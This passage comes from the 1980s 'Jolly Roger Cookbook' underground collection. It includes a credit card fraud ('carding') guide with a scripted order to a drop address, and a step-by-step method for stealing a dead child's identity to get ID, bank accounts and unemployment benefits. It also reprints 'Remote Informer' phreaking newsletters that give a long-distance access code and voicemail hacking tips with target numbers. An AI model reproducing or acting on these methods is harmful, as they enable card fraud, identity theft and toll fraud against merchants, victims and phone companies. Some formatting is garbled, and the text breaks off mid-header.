  6279. week where they publish EVERY stolen or fraudulantly used card.
  6280. I get this every week by trashing the same place on the same day.
  6281. If you ever find it trashing then try to get it every week.
  6282. Identifying cards: Visa card numbers begin with a 4 and have either 13
  6283. or 16 digits.  MasterCard card numbers begin with a 5 and have 16 digits.
  6284. American Express begins with a 3 and has 15 digits.  They all have the
  6285. formats of the following:
  6286. 3xxx-xxxxxx-xxxxx   American Express
  6287. 4xxx-xxx-xxx-xxx    Visa
  6288. 4xxx-xxxx-xxxx-xxxx Visa
  6289. 5xxx-xxxx-xxxx-xxxx MasterCard
  6290. Gold cards: A gold card simply means that credit is good for $5000.
  6291. Without a gold card, credit would be normally $2000.
  6292. To recognize a gold card on a carbon there are several techniques:
  6293. American Express-none.
  6294. Visa-PV instead of CV.
  6295. Note-When verifying a PV Visa, you have to have the real name of the
  6296. cardholder.
  6297. Mastercard-An asterix can signify a gold card, but this changes depending
  6298. when the card was issued.
  6299. I am going to type out a dialog between a carder and the phone operator
  6300. to help you get the idea.
  6301. Operator: "Over-priced Computer Goods, may I help you?"
  6302. Carder:   "Hi, I would like to place an order please."
  6303.  
  6304.  
  6305. Operator: "Sure, what would you like to order?"
  6306. Carder:   "400 generic disks and a double density drive."
  6307. Operator: "Ok, is there anything else?"
  6308. Carder:   "No thank you, that's all for today."
  6309. Operator: "Ok, how would you like to pay for this?  MasterCard or Visa?"
  6310. Carder:   "Visa."
  6311. Operator: "And your name is?"
  6312. Carder:   "Lenny Lipshitz." (Name on card)
  6313. Operator: "And your Visa card number is?"
  6314. Carder:   "4240-419-001-340" (Invalid card)
  6315. Operator: "Expiration date?"
  6316. Carder:   "06-92."
  6317. Operator: "And where would you like the package shipped to?"
  6318. Carder:   "6732 Goatsgate Port.  Paris,texas,010166."
  6319. Operator: "And what is your home telephone number?"
  6320. Carder:   "212-724-9970" (This number is actually always busy)
  6321. Operator: "I will also need your business phone number in case we have
  6322. to reach you."
  6323. Carder:   "You can reach me at the same number. 212-724-9970"
  6324. Operator: "O.K. Thank you very much and have nice day."
  6325. Carder:   "Excuse me, when will the package arrive?"
  6326. Operator: "In six to seven days UPS."
  6327. Carder:   "Thanks alot, and have a pleasant day."
  6328. Now you wait 6-7 days when the package will arrive to the address which
  6329. is really a house up for sale.  There will be a note on the door
  6330. saying, "Hello UPS, please leave all packages for Lenny Lipshitz in the
  6331. lobby or porch.  Thanks alot, Lenny Lipshitz" (Make the signature half-way
  6332. convincing)
  6333.  
  6334.                                   ------------------Jolly Roger
  6335.  
  6336. Recognizing credit cards                        by the Jolly Roger
  6337.  
  6338.   [Sample: American Express]
  6339.       XXXX XXXXXX XXXXX
  6340.       MM/Y1 THRU MM/Y2       Y1
  6341.       John Doe               AX
  6342.  
  6343. Explanation:
  6344. The first date is the date the person got the card, the second
  6345. date is the expriation date, after the expiration date is the same
  6346. digits in the first year.The American Express Gold has many more
  6347. numbers (I think 6 8 then 8). If you do find a Gold card keep it
  6348. for it has a $5000.00 backup even when the guy has no money!
  6349.  
  6350. [Sample: Master Card]
  6351.    5XXX XXXX XXXX XXXX
  6352.    XXXX AAA DD-MM-YY MM/YY
  6353.    John Doe.
  6354.  
  6355. Explanation:
  6356. The format varies, I have never seen a card that did not start with
  6357. a 5XXX there is another 4 digits on the next line that is sometimes
  6358. asked for when ordering stuff, (and rarely a 3 digit letter combo
  6359. (e. ANB). The first date is the date the person got the card
  6360. and the second date is the expiration date.
  6361. Master Card is almost always accepted at stores.
  6362. [Sample: VISA]
  6363.  
  6364.  
  6365.    XXXX XXX(X) XXX(X) XXX(X)
  6366.    MM/YY    MM/YY*VISA
  6367.    John Doe
  6368.  
  6369. Explanation:
  6370. Visa is the most straight forward
  6371. of the cards,for it has the name right on the card itself, again the
  6372. first date is the date he got the card and the second is the
  6373. expiration date. (Sometimes the first date is left out). The
  6374. numbers can eather be 4 3 3 3 or 4 4 4 4. Visa is also almost always
  6375. accepted at stores, therefore, the best of cards to use.
  6376. How To Create A New Indentity                    By The Walking Glitch
  6377.                      Courtesy of the Jolly Roger!
  6378.  
  6379. You might be saying, "Hey Glitch, what do I need a new identity for?"
  6380. The answer is simple. You might want to go buy liquor somewhere, right?
  6381. You might want to go give the cops the false name when you get busted
  6382. so you keep your good name, eh?  You might even want to use the new
  6383. identity for getting a P.O. Box for carding. Sure! You might even
  6384. want the stuff for renting yourself a VCR at some dickless loser of a
  6385. convenience store. Here we go:
  6386. Getting a new ID isn't always easy, no one said it would be. By following
  6387. these steps, any bozo can become a new bozo in a coupla weeks.
  6388.  
  6389. STEP 1
  6390.  
  6391. The first step is to find out who exactly you'll become. The
  6392. most secure way is to use someone's ID who doesn't use it themselves.
  6393. The people who fit that bill the best are dead. As an added bonus they
  6394. don't go complaining one bit. Go to the library and look
  6395. through old death notices. You have to find someone who was born about
  6396. the same time as you were, or better yet, a year or two older
  6397. so you can buy booze, etc. You should go back as far as you can for the
  6398. death because most states now cross index deaths to births so people
  6399. can't do this in the future. The cutoff date in Wisconsin is 1979, folks
  6400. in this grand state gotta look in 1978 or earlier. Anything earier there
  6401. is cool. Now, this is the hardest part if you're younger. Brats that
  6402. young happen to be quite resilient, takin' falls out of three story windows
  6403. and eating rat poison like its Easter candy, and not a scratch or
  6404. dent. There ain't many that die, so ya gotta look your ass off. Go
  6405. down to the library and look up all the death notices you can,
  6406. if it's on microfilm so much the better. You might have to go through
  6407. months of death notices though, but the results are well worth it.
  6408. You gotta get someone who died locally in most instances: the death
  6409. certificate is filed only in the county of death. Now you go down to
  6410. the county courthouse in the county where he died and get the
  6411. death certificate, this will cost you around $3-$5 depending on the state
  6412. you're in. Look at this hunk of paper, it could be your way to
  6413. vanish in a clould of smoke when the right time comes, like right after
  6414. that big scam. If You're lucky, the slobs parents signed him up with
  6415. social security when he was a snot nosed brat. That'll be another piece
  6416. of ID you can get. If not, thats ok too. It'll be listed on the death
  6417. certificate if he has one. If you're lucky, the stiff was born
  6418. locally and you can get his birth certificate right away.
  6419.  
  6420. STEP 2
  6421.  
  6422. Now check the place of birth on the death certificate, if it's in
  6423.  
  6424.  
  6425. the same place you standing now you're all set. If not, you can mail
  6426. away for one from that county but its a minor pain and it might
  6427. take a while to get, the librarian at the desk has listings of where
  6428. to write for this stuff and exactly how much it costs. Get the Birth
  6429. cirtificate, its worth the extra money to get it certified
  6430. because thats the only way some people will accept it for ID. When yur
  6431. gettin this stuff the little forms ask for the reason you want it,
  6432. instead of writing in "Fuck you", try putting in the word "Geneology".
  6433. They get this all the time.  If the Death certificate looks good for
  6434. you, wait a day or so before getting the certified birth certificate
  6435. in case they recognize someone wanting it for a dead guy.
  6436.  
  6437. STEP 3
  6438.  
  6439. Now your cookin! You got your start and the next part's easy.
  6440. Crank out your old Dot matrix printer and run off some mailing labels
  6441. addressed to you at some phony address. Take the time to check your
  6442. phony address that there is such a place. Hotels that rent by the month
  6443. or large apartment buildings are good, be sure to get the right zip
  6444. code for the area. These are things that the cops might notice that
  6445. will trip you up.  Grab some old junk mail and paste your new lables
  6446. on them. Now take them along with the birth certificate down to the
  6447. library.
  6448. Get a new library card. If they ask you if you had one before say that
  6449. you really aren't sure because your family moved around alot when
  6450. you were a kid. Most libraries will allow you to use letters as a form
  6451. of ID when you get your card. If they want more give them a sob story
  6452. about how you were mugged and got your wallet stolen with all your
  6453. identification. Your card should be waiting for you in about two weeks.
  6454. Most libraries ask for two forms of ID, one can be your trusty Birth
  6455. Certificate, and they do allow letters addressed to you as a second
  6456. form.
  6457.  
  6458. STEP 4
  6459.  
  6460. Now you got a start, it isn't perfect yet, so let's continue. You should
  6461. have two forms of ID now. Throw away the old letters, or better yet
  6462. stuff them inside the wallet you intend to use with this stuff.
  6463. Go to the county courthouse and show them what nice ID you got and get
  6464. a state ID card. Now you got a picture ID. This will take about two weeks
  6465. and cost about $5, its well worth it.
  6466.  
  6467. STEP 5
  6468.  
  6469. If the death certificate had a social security number on it you can go
  6470. out and buy one of those metal SS# cards that they sell.
  6471. If it didn't, then you got all kinds of pretty ID that shows exactly
  6472. who you are. If you don't yet have an SS#, Go down and apply for one,
  6473. these are free but they could take five or six weeks to get,
  6474. Bureaucrats you know... You can invent a SS# too if ya like, but the motto
  6475. of 'THE WALKING GLITCH' has always been "Why not excellence?".
  6476.  
  6477. STEP 6
  6478.  
  6479. If you want to go whole hog you can now get a bank account in your new
  6480. name.  If you plan to do alot of traveling then you can put alot
  6481. of money in the account and then say you lost the account book.  After
  6482. you get the new book you take out all the cash. They'll hit you
  6483.  
  6484.  
  6485. with a slight charge and maybe tie-up your money some, but if you're
  6486. ever broke in some small town that bank book will keep you from being
  6487. thrown in jail as a vagrant.
  6488.  
  6489. ALL DONE?
  6490.  
  6491. So kiddies, you got ID for buying booze, but what else? In some towns
  6492. (the larger the more likely) the cops if they catch you for something
  6493. petty like shoplifting stuff under a certain dollar amount, will just
  6494. give you a ticket, same thing for pissing in the street. Thats it!
  6495. No fingerprints or nothing, just pay the fine (almost always over $100)
  6496. or appear in court.  Of course they run a radio check on your ID, you'll
  6497. be clean and your alter-ego gets a blot on his record.
  6498. Your free and clear.  Thats worth the price of the trouble you've gone
  6499. through right there.  If your smart, you'll toss that ID away if this
  6500. happens, or better yet, tear off your picture and give the ID to someone
  6501. you don't like, maybe they'll get busted with it.
  6502. If you're a working stiff, here's a way to stretch your dollar. Go to work
  6503. for as long as it takes to get unemployment and then get yourself fired.
  6504. Go to work under the other name while your getting the unemployment.
  6505. With a couple of sets of ID, you can live like a king.  These concepts
  6506. for survival in the new age come to you compliments of THE WALKING GLITCH.
  6507. First release of this phile 7/7/88.
  6508.  
  6509.                       brought to you in the Cookbook courtesy of...
  6510.                                        ---------------The Jolly Roger
  6511.  
  6512.  
  6513. ##########################################################################
  6514. #                                                                        #
  6515. #                           The Remote Informer                          #
  6516. #                                                                        #
  6517. #------------------------------------------------------------------------#
  6518. #                                                                        #
  6519. #              Editors: Tracker, Norman Bates, and Ye Cap'n              #
  6520. #                                                                        #
  6521. #========================================================================#
  6522. # September 26, 1987                                           Issue: 02 #
  6523. #========================================================================#
  6524. ##########################################################################
  6525. #                                                                        #
  6526. #   Brought to you by the 'new' TUFF:  The Underground Fone Federation   #
  6527. #                                                                        #
  6528. ##########################################################################
  6529. ==========================================================================
  6530.                                  The News
  6531. ==========================================================================
  6532.      Sprint Strikes Back      |    Celestial Elite/TUFF Come to an End
  6533. ==============================|===========================================
  6534.    Sprint caught a guy dealing|   Celestial  Elite  and  TUFF, the  famous
  6535. codes  on  the  street  in  LA|hack/phreak groups came to an end  a couple
  6536. this  past  week.  Information|weeks ago.  TUFF, however, is being  reborn
  6537. on  this  bust  is limited  at|and you can  expect it to  be back  to full
  6538. this time.                    |force within a month.  Sources have it that
  6539.    A seventeen  year  old  was|Magnus Adept, head  of the  now  terminated
  6540. busted  in Arizona  last week.|group, Celestial  Elite, has  started a new
  6541. The name of the  teenager will|group called Avalon Kingdom.  We are unsure
  6542. not be printed to  protect him|what plans are in store for it.
  6543.  
  6544.  
  6545. from harassment calls.        |   TUFF has  several ideas  and  plans that
  6546.                               |will be out to the  public soon.  Look  for
  6547. >This information was supplied|future  issues  of The Remote Informer (tm)
  6548.      by Phreaky Phone II      |for new updates.
  6549.  
  6550. ==========================================================================
  6551.         Beige Box Bust        |   TeleNet Hacker   |  Bate's Motel Moves
  6552. ==============================|====================|======================
  6553.    One  of our  editors and  a|   Crusader released|   Bate's  Motel  BBS,
  6554. member of  TUFF, Norman  Bates|his  TeleNet hacking|run  by  Norman Bates,
  6555. was  caught  for  Beige boxing|program on September|was forced to move. It
  6556. that he had done over 3 months|20, 1987.  Look  for|is temporarily  set up
  6557. ago.  The  calls  he had  made|it on a  good  board|at  (619)267-8619.  It
  6558. were inside his state and cost|you  call.  A review|will remain 1200 baud,
  6559. a total  of $12.  He  paid the|will be in the  next|and a  member  of  the
  6560. bill and no charges were filed|issue of The Remote |TUFF  Network.  It  is
  6561. against him.                  |Informer.           |open to the public.
  6562. ==========================================================================
  6563.    Phreaky Phones Return: Amazing?   | LDDS Buys Out TMC: Companies Merge
  6564. =====================================|====================================
  6565.    The original Phreaky Phone numbers|   LDDS bought  out TMC last  month.
  6566. now support  the new  Phreaky Phones.|They merged into  LDDS, since it was
  6567. The guys running  them  had protested|bigger  and   more  widespread.  Any
  6568. that the  lines were being monitored.|companies that  were  subscribing to
  6569. There is no way that could have been,|the  TMC  long distance service were
  6570. and  they contradicted  themselves by|automatically coverted to LDDS.  All
  6571. restarting Phreaky Phones on the same|local TMC ports still work, but will
  6572. numbers.  They  gave  alot of  credit|soon be disconnected.  Refer  to the
  6573. to the people calling to suggest they|article  on  LDDS  in this issue for
  6574. believe a story like that.           |more  information on LDDS  dial-ups.
  6575. ==========================================================================
  6576.    US Sprint Calls Destinations  |  Pirate's Hollow Is Back With 10 Megs
  6577. ==========================================================================
  6578.    US Sprint  now  calls  all the|   Pirate's Hollow is  back on-line.  It
  6579. numbers called  with unauthorized|now is run a  10 meg hard drive.  Unlike
  6580. codes.   Their  dis-advantage  is|most boards that have #'s  of megs, this
  6581. that  they are  delayed by  about|one will stress more  attention  on it's
  6582. two  months  in  calling  because|database.  The  database is scheduled to
  6583. they  have to  wait  till  people|be online by October 1st. This database
  6584. report they did not make calls to|will  contain 800+ text files on various
  6585. the numbers they were billed for.|topics, with  about 60% - 70% pertaining
  6586. Best advice is  to not call voice|to  illegal  activities.  Unfortunately,
  6587. with Sprint  except to  those who|Trax Xe is being redesigned, so until it
  6588. have   private  lines  other than|is finished, it will run on Carina.  The
  6589. their regular phone line.        |number is (415)593-6784 (300/1200 baud).
  6590. ==========================================================================
  6591.                            Raggers and Braggers
  6592. ==========================================================================
  6593.    This section is to make  you aware  of well-known raggers and braggers.
  6594. Since this is  the first time this  section is being printed, we will tell
  6595. you what classifies people as raggers and braggers.  In  the future issues
  6596. the top raggers and braggers will be  listed in this newsletter to let the
  6597. SysOps  know who not to let on their board, or to  atleast keep an eye on.
  6598.    A ragger is someone who will put someone else  down for something.  The
  6599. person might post a message  asking a novice  question  about hacking  and
  6600. phreaking, or may  say  something  that is completely wrong, and a  ragger
  6601. will  put the  other person  down for he said, posted, etc.  The ones that
  6602. usually classify in this category are the ones that think they know it all
  6603.  
  6604.  
  6605. and consider themselves right  no matter  what anyone  says.  Most  of the
  6606. users that  use codes and  consider  themselves a  master phreaker usually
  6607. become raggers.
  6608.    A bragger is someone who either does or thinks he does know everything,
  6609. and puts it upon himself to tell  the  whole  world that he  knows it all.
  6610. This  person is also  one who thinks he is better  than  everyone else and
  6611. he believes he is Elite, and no one else is.  People  who tend to  do this
  6612. are those who have, for some reason, become well-known in the  underworld,
  6613. and as  a result become a bragger.  Those  usually not too well-known will
  6614. not tend  to brag as  much as  those who think  everyone would  love to be
  6615. their friend and be like them.
  6616.    As a well-known ragger and  bragger, The Toad, learned that it does not
  6617. help to be one or both of those.  He  has since  changed and is now easily
  6618. accepted by  most.  Most people  disliked him because others they knew had
  6619. said something bad about him.  This  is called peer pressure and  is a bad
  6620. influence to those who  are new to the underworld.  I would suggest in the
  6621. future,  to not judge someone by what others  say, but rather by  how they
  6622. act around/to you.
  6623.    The current  most  popular Atarian  that  classifies as a  ragger and a
  6624. bragger is Ace of Aces, and  is well-hated by many users and SysOps, since
  6625. he tends to put  down anything anyone  says and considers himself the best
  6626. at writing hacking programs.  He is commonly  referred to as  Ass of Asses
  6627. and Ass of Assholes.  Even holding an open  mind about this guy, you would
  6628. soon come to find that what others said  coincides  with what you see from
  6629. him.
  6630. ==========================================================================
  6631.                           A New 950 has arrived!
  6632. ==========================================================================
  6633.    LDDS, who as  mentioned above bought out TMC, is  installing  a new 950
  6634. port to most major  cities.  By the time  you read  this, it should  be in
  6635. almost every area that supports 950 ports.  The number is  950-1450.  This
  6636. port will dial 976 numbers, but not 700, 800, or 900 numbers.  The dialing
  6637. method  for LDDS is:  7 digit code, then  even if the code is  bad it will
  6638. give you a dial tone.  Then  dial the area  code  plus the number.  If you
  6639. have a bad code it will simply say your call cannot be completed as it was
  6640. dialed.  There is a default code used on the system that  currently works.
  6641. The code is simply, 1234567.  I have seen codes from 5 different companies
  6642. and they all are in the format of 00xxxxx.  I do  not  know  what  type of
  6643. software they use, but I  will  know by  the next  issue exactly what they
  6644. place  on  the bills.  This  could  be  the  answer  to  alot  of people's
  6645. problems with fear of Sprint and ITT, especially  AllNets.  Just remember,
  6646. Tracker  is the one  who  found  this, and all  information  about it.  If
  6647. someone  is seen saying  they found  this, then they will be listed in the
  6648. next issue which will contain an article on leeches.
  6649. ==========================================================================
  6650.                              Mailbox Systems
  6651. ==========================================================================
  6652.    Mailbox systems are the link between information and the underworld. If
  6653. you have ever called one, then you will know the advantages of having one,
  6654. especially the ones that are  open to whole underworld, rather than just a
  6655. select few.  There are two types  of mailbox systems that are widely used.
  6656.    The first  type we will  talk about is the multiple mailbox systems, or
  6657. commonly referred to  as  message  systems.  These  systems  have several
  6658. mailboxes set up on one number.  Usually, you  can access other  mailboxes
  6659. from that  number  by  pressing '*' or '#'.  Sometimes you  just enter the
  6660. mailbox number and you are connected.  These are the safest systems to use
  6661. to protect information from US Sprint and other  long distance  companies.
  6662. Since US Sprint and other companies  call  the destination  numbers, it is
  6663.  
  6664.  
  6665. safer to  have 800 mailbox systems, and  most  of  the time, the  multiple
  6666. mailbox systems  are on 800 numbers.  The  passcode on  these  systems can
  6667. vary in length and can be accessed by several  different methods, so it is
  6668. impossible to explain exactly how to hack these systems.
  6669.    The other type is the single mailbox system.  These  are usually set up
  6670. in a reserved  prefix in an area  code.  (Ex: 713-684-6xxx)  These systems
  6671. are usually  controlled by the  same type of hardware/software.  To access
  6672. the area  where you  enter the  passcode, just hit '0' for a second or so.
  6673. The passcodes are  four (4)  digits  long.  The only way to hack  these is
  6674. manually.  The best thing you could do is to  find one that does not  have
  6675. a recording from a person, but just the  digitized voice.  If you hack one
  6676. that  someone already  owns, they will  report it and  it will not last as
  6677. long.
  6678.    Here is a list mailboxes or prefixes to help you get started
  6679. --------------------------------------------------------------------------
  6680.    Single                          Multiple                        Digits
  6681. ------------                     ------------                     --------
  6682. 213-281-8xxx                     212-714-2770                         3
  6683. 213-285-8xxx                     216-586-5000                         4
  6684. 213-515-2xxx                     415-338-7000 Aspen Message System    3
  6685. 214-733-5xxx                     714-474-2033 Western Digital
  6686. 214-855-6xxx                     800-222-0651 Vincent and Elkins      4
  6687. 214-978-2xxx                     800-233-8488                         3
  6688. 215-949-2xxx                     800-447-8477 Fairylink               7
  6689. 312-450-8xxx                     800-521-5344                         3
  6690. 313-768-1xxx                     800-524-2133 RCA                     4
  6691. 405-557-8xxx                     800-527-0027 TTE TeleMessager        6
  6692. 602-230-4xxx                     800-632-7777 Asynk                   6
  6693. 619-492-8xxx                     800-645-7778 SoftCell Computers      4
  6694. 713-684-6xxx                     800-648-9675 Zoykon                  4
  6695.                                  800-847-0003 Communications World    3
  6696. ==========================================================================
  6697.                            The Disclaimer!
  6698. ==========================================================================
  6699.    We, the editors, take no  responsibility  for  your actions and  use of
  6700. the information in this newsletter.  This newsletter is for  informational
  6701. purposes  only.  If  you   are  easily   offended   by   telecommunication
  6702. discussions, then we suggest  that you not read  this newsletter.  But for
  6703. those  who are  truely interested in the  information in this  newsletter,
  6704. enjoy it.
  6705. ==========================================================================
  6706.                          Coming in the next issue!
  6707. ==========================================================================
  6708.    In the next issue, we  will  be open  for suggestions from  the readers
  6709. of this issue.  We will have some featured articles though, which include:
  6710. 1) Study of bridges
  6711. 2) Review of Crusader's new TeleNet Hacker
  6712. 3) More information on the new LDDS 950 port
  6713. 4) Review of Code Hackers for all modems
  6714. 5) List of TeleNet addresses
  6715. 6) Credit Card checkers
  6716. 7) Ideas from the readers
  6717. ==========================================================================
  6718.  
  6719.       Brought to you in the Cookbook by the Jolly Roger!!!!!!!!!!!!!!!
  6720.  
  6721. ###########################################################################╝###
  6722.  
  6723.  
  6724. #                      _________________________________
  6725. #
  6726. #                       /he Remote Informer Newsletter!
  6727. #
  6728. #
  6729. #
  6730. #--------------------------------------------------------------------------╝--#
  6731. # November                                                     TRI Issue:
  6732. 03 #
  6733. #--------------------------------------------------------------------------╝--#
  6734. #
  6735. #
  6736. #     The Editors:  Tracker, Ye Cap'n, Norman Bates, and The Reporter
  6737. #
  6738. #
  6739. #
  6740. ###########################################################################╝###
  6741. ===========================================================================╝===
  6742. =                            Introduction
  6743. =
  6744. ===========================================================================╝===
  6745. It's been a month now, and ALOT has happened.  So much, in fact, that the
  6746. information will be split into several issues.  This should be no shock
  6747. since
  6748. I mentioned in the first issue that we may put several issues out
  6749. sometimes.
  6750.      I want to congratulate the readers for finally contributing to the
  6751. newsletter.  This first two issues were all on information that I, myself,
  6752. obtained.  Several people gave me information for these issues, and their
  6753. handle and information is included in the articles.
  6754. ===========================================================================╝===
  6755. =                                 In The News!
  6756. =
  6757. ===========================================================================╝===
  6758.      ITT has 9 digits!     |       Phreaky Phones Go Down!
  6759. |Information!
  6760. ===========================================================================╝===
  6761.    For those of you who did|   The famed Phreaky Phones  are down|   We
  6762. have
  6763. not know this, ITT has nine|again. Modem Man, the original person|so much
  6764. info
  6765. digit codes.  They are said|that started them, has said that they|to put
  6766. out,
  6767. to give  better connections|will be down until further notice. In|that  we
  6768. are
  6769. to some extent.  This info.|the meantime, other independent boxes|putting
  6770. out
  6771. was  originally given to us|are being started.   A listing can be|many
  6772. issues
  6773. by Party Beast.            |made of current ones on request.     |at one
  6774.  
  6775.  
  6776. time.
  6777. =================================================================|If you
  6778. want
  6779.   Magnus Adept Gets Busted  |    Sprint Codes Are Dying Fast!    |all
  6780. issues
  6781. =================================================================|that are
  6782. out
  6783.    Fellow Atarian  and well-|   Sprint codes  are hard to get and|now,
  6784. then
  6785. known  phreak  Magnus  Adept|when they are obtained, they tend to|call  one
  6786. of
  6787. got caught  by MCI.  Details|die rather  quickly.  Phreakers have|the
  6788. boards
  6789. of the  how, when, and where|been  saying that  the 950-0777 port|at  the
  6790. end
  6791. are not known at  this time.|is dead, but  on the contrary, it is|of the
  6792. issue
  6793. He got caught with 150 codes|still  available in states  that are|or look
  6794. for
  6795. and  may  have to pay  up to|not highly  abused by phreaks.  Here|an editor
  6796. on
  6797. 50 dollars  for  each  code.|again, rumors are being spread.     |a hack
  6798. BBS.
  6799. ===========================================================================╝===
  6800. =                          The Best BBS of the Month
  6801. =
  6802. ===========================================================================╝===
  6803.      Starting from now on, we will have a BBS of the month.  We will choose
  6804. a
  6805. BBS, ragardless of computer type, and look at the user participation in
  6806. phreak
  6807. related matters, as well as quality discussions on the various illegal
  6808. topics.
  6809. A BBS can remain the BBS of the month as long as they reside above the rest
  6810. of
  6811. the BBS systems.  Even though we will sometimes bring out more than one
  6812. issue
  6813. in a month, the board will remain BBS of the month until the first issue
  6814. inthe
  6815. next month comes out.
  6816.      This month's BBS of the month is FBI PirateNet.  We chose this board
  6817. because of the large numbers of posts in the bases, and not only
  6818. information,
  6819. but discussions as well, with a minimum number of posts from raggers and
  6820. braggers.  The number for it is 516-661-7360.  The SysOp of FBI PirateNet
  6821. is
  6822. The Phantom, not to be confused with an earlier narc.
  6823. ===========================================================================╝===
  6824. =           US Sprint Expected to Trim Staff, Consolidate Divisions
  6825. =
  6826. ===========================================================================╝===
  6827.      New York -- US Sprint Communications Corp., the troubled long distance
  6828. carrier, is expected to announce soon that it will cut its work force by
  6829. several hundred people and reduce its seven regional divisions to 3
  6830.  
  6831.  
  6832. operating
  6833. groups, sources familiar with the company said.
  6834.      The company's Pacific division is based in Burlingame, CA.  The
  6835. layoffs
  6836. and reorganization are part of a plan by US Sprint's new president, Robert
  6837. H.
  6838. Snedaker, to reduce heavy operating losses, which analysts expect to reach
  6839. more than $800 million this year.
  6840.      Snedaker replaced Charles M. Slibo, who was forced to resign in July
  6841. because losses were running much higher than the parent companies had
  6842. expected.  Problems with the company's computerized billing system also
  6843. contributed to Skibo's ouster.  US Sprint is owned and operated by the GTE
  6844. Corp. and United TeleCom.
  6845.      According to sources close to Snedaker, who was vice chairman and
  6846. chief
  6847. operating officer of United TeleCom, he is planning to consolidate the
  6848. company's 7 divisions, which operate in the same geographical regions as
  6849. the
  6850. seven regional Bell operating companies, into 3 divisions.
  6851.      The rationale for the move, according to idustry analysts, is that the
  6852. company will need a much smaller work force once it begins handling all
  6853. it's
  6854. phone traffic on it's new fiber optic network, which can carry a greater
  6855. number of telephone calls at less cost.  Company officials have said that
  6856. they expect to have most of the traffic on the network by early next year.
  6857.      One source said that there would be more than one round of layoffs in
  6858. the
  6859. coming months and that the company ultimately plans to reduce its 14,000
  6860. member work force by 15 percent.
  6861.      Several top managers are expected to resign as soon as US Sprint
  6862. centralizes its marketing and support operations as its headquarters in
  6863. Kansas
  6864. City, MO., according to a report in the latest issue of Business Week
  6865. magazine.
  6866.      A spokesman for US Sprint said on Friday that the company would not
  6867. comment on the rumors.  The company is the nation's third largest long
  6868. distance company, after the American Telephone and Telegraph Co. (AT&T) and
  6869. MCI Communications Co.
  6870.      Last year, Washington based MCI undertook a similar reorganization in
  6871. which it posted a $502.5 million loss to write down old inventory and
  6872. restructure operations.
  6873.      Analysts said that is US Sprint is to turn a profit, the company must
  6874. increase its market share.  "To do this, US Sprint must gain more large
  6875. business customers, which account for about 80 percent of industry
  6876. revenues,"
  6877. said Robert B. Morris III, Securities in San Francisco.
  6878.      Morris said that by using a slick marketing campaign to differentiate
  6879. its
  6880. all-fiber telephone network from those of competitors, US Sprint more than
  6881. doubled its customer base last year.  But "most of these customers were
  6882. residential and small business users that added little to Sprint's bottom
  6883. line," he added.  "If the company expects to be profitable, it will have to
  6884. concentrate on providing the best service to volume users."
  6885. ] This information was supplied by Ye Cap'n
  6886. ===========================================================================╝===
  6887. =             Secret Service Cracks Down on Teen Hackers
  6888. =
  6889.  
  6890.  
  6891. ===========================================================================╝===
  6892.      Mount Lebanon, PA -- The US Secret Service and local police
  6893. departments
  6894. have put a scare into the hacker community with a nationwide crackdown on
  6895. computer crime that has resulted in the arrests of teenage hackers in at
  6896. least
  6897. three cities.
  6898.      "People who monitor the bulletin boards say there are a lot of nervous
  6899. hackers out there, wondering who will be arrested next," says Ronald E.
  6900. Freedman, vice-president of Advanced Information Management, a Woodbridge,
  6901. VA
  6902. base computer security firm.
  6903.      Nine teenagers from Mount Lebanon Junior-Senior High School near
  6904. Pittsburg, PA, were arrested recently and charged with computer fraud.  The
  6905. juveniles allegedly used home computers to gain illegal access to a credit
  6906. card authorization center.  They obtained valid credit card numbers and
  6907. used
  6908. them to purchase thousands of dollars worth of mail order merchandise, the
  6909. police said.
  6910.      Freedman says it appears the hackers used some relatively
  6911. sophisticated
  6912. techniques in the scheme, including specially written software that enabled
  6913. them to bypass security controls and navigate through credit records to
  6914. obtain
  6915. key information.
  6916.      Police officials say that the hackers also obtained access codes from
  6917. pirate bulletin board systems to make free long distance calls and gain
  6918. access
  6919. to various business and government computers.
  6920.      The arrests were the result of a 6 week investigation by the Secret
  6921. Service and the Mount Lebanon police. The police were tipped off by parents
  6922. who were suspicious about how their son managed to obtain a skateboard
  6923. valued
  6924. at $140.
  6925.      The Secret Service was also involved in investigations that led to the
  6926. arrests of several hackers in San Francisco and New York last July.
  6927.      Secret Service spokesman William Corbett says that although some
  6928. reports
  6929. have portrayed the hackers as part of a national crime ring, the cases are
  6930. unrelated.  "It's just that a few of these computers hacking cases came to
  6931. a
  6932. head at about the same time," he says.
  6933.      Federal Legislation enacted in 1984 gives the Secret Service, part of
  6934. the
  6935. Department of the Treasury, a major role in investigating computer crimes.
  6936. Under the federal Computer Fraud and Abuse Act of 1986, computer fraud is a
  6937. felony that carries a maximum penalty of 5 years for the first offense, and
  6938. 10
  6939. years for the second.  Displaying unauthorized passwords on hacking
  6940. bulletin
  6941. boards carries a maximum penalty of 1 year in prison for the first offense,
  6942. and 10 years for the second.
  6943. ] This information was supplied by Ye Cap'n
  6944. ===========================================================================╝===
  6945. =                          German Teens Crack NASA
  6946. =
  6947.  
  6948.  
  6949. ===========================================================================╝===
  6950.      Washington, D.C. -- A group of West German teenagers from the Chaos
  6951. Computer Club penetrated a NASA network recently, saying they were doing it
  6952. to
  6953. "test the security."
  6954.      What they got into was SPAN Net, a computer network with about 700
  6955. notes,
  6956. which is actually based at the Goddard Space Center in Maryland.  All
  6957. that's
  6958. in there is unclassified data, space science information, and post-flight
  6959. data
  6960. anaysis.  "Anyone with NASA related research can apply for access to SPAN"
  6961. says a spokesman, who adds that the network runs on DEC VAX hardware.  "We
  6962. picked up three attempts to gain access and put in security precautions so
  6963. it
  6964. would't happen."  His personal opinion is, "We're happy that they couldn't
  6965. get
  6966. back in, and decided to go public."  He also added that NASA has many other
  6967. networks, many of the classified and "probably inpenetrable.  But I do not
  6968. want to challenge anybody."
  6969.      How'd they get in?  Probably they got a West German NASA licensee,
  6970. which
  6971. gave them a visitor's pass, then they created new passwords with unlimited
  6972. security for themselves, after which getting around the network was easy.
  6973. ] Supplied by Ye Cap'n
  6974. ===========================================================================╝===
  6975.     We look for information in anyway related to the newsletter.  If you
  6976. have
  6977. something of interests, or something that you saw on television, or in the
  6978. newspaper, then upload it to one of the boards listed below.  You will
  6979. receive
  6980. full credit.
  6981. Pirate's
  6982. Hollow..................................................(415)593-6784
  6983. Bate's
  6984. Motel.....................................................(619)267-0293
  6985. ===========================================================================╝===
  6986.  
  6987.  
  6988. ###########################################################################╝###
  6989. #                     _________________________________
  6990. #
  6991. #                      /he Remote Informer Newsletter!
  6992. #
  6993. #
  6994. #
  6995. #--------------------------------------------------------------------------╝--#
  6996. # November                                                     TRI Issue:
  6997. 04 #
  6998. #--------------------------------------------------------------------------╝--#
  6999. #
